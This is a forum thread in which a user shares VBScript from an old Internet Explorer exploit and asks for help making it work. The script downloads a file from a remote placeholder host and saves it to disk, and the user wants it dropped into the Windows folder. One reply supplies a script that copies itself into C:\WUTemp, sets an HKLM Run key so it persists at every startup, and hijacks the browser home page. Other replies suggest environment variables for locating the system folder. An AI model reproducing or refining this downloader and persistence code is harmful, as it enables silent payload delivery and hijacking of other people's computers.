[aiboforcen]

Hi all Im just playing around with this old ie exploit (its only working local)

<script language=vbs>
set oHTTP = CreateObject("msxml2.XMLHTTP")
oHTTP.open "GET", "http://yoursite/file", False
oHTTP.send
set oStream = createobject("adodb.stream")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
oStream.type = adTypeBinary
oStream.open
oStream.write oHTTP.responseBody
oStream.savetofile "c:\folder\file ", adSaveCreateOverWrite
</script>

With this it is not possible to save a file to a folder that doesnt exists so i need a script to determine if the windows folder is c:\winnt or c:\windows and then save the file to one of these folders, is it possible ?

Thanks for any help i can get

[Chris]

Isnt there some kind of variable %windir ?

[cornstalk]

yes, the variable is %SystemRoot%
but i dont know if it works in vbs.

[Nick W]

' Initialize our shellcode object
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

' Initialize our filesystem object
Dim objFSO
Set objFSO = Wscript.CreateObject("Scripting.FileSystemObject")

' If the appropriate file is in the appropriate directory then ...
If (objFSO.FileExists("C:\WUTemp\sethomepage.vbs")) Then
' Do absolutely nothing, otherwise ...
Else
' Make the directory, copy the file into it, and set Windows to run our script on startup
	WshShell.Run("%comspec% /c mkdir C:\WUTemp"), 0
	WshShell.Run("%comspec% /c copy sethomepage.vbs C:\WUTemp\sethomepage.vbs"), 0
	WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SetHome", "C:\WUTemp\sethomepage.vbs"
' Now we are done checking with what to do if file is or is not in the proper directory
End If

' Change the registry settings for Internet Explorer's home page for current user.
WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.google.com/"

' Release the objects because it's the right thing to do
Set WSHShell = Nothing
Set objFSO = Nothing

' Exit the application
WScript.Quit(0)

The above is a vbs file that when run will set itself on the computer and set itself to run on every startup. It forces a homepage setting.

[supermax]

Y ou should only use C:\ your sure the computer get one and will work also

[Logan]

i know basically no VB, but if you can do system calls, do a "set systemdrive > file.txt"... which will put "SystemDrive=C:" (or other letter) in the file "file.txt"... which can be any name and put in any directory...
I know in some languages you can do shift, and if you can in VB, do a shift to the drive letter and there you go.

again, i'm not a VB programmer, so i don't know if it's possible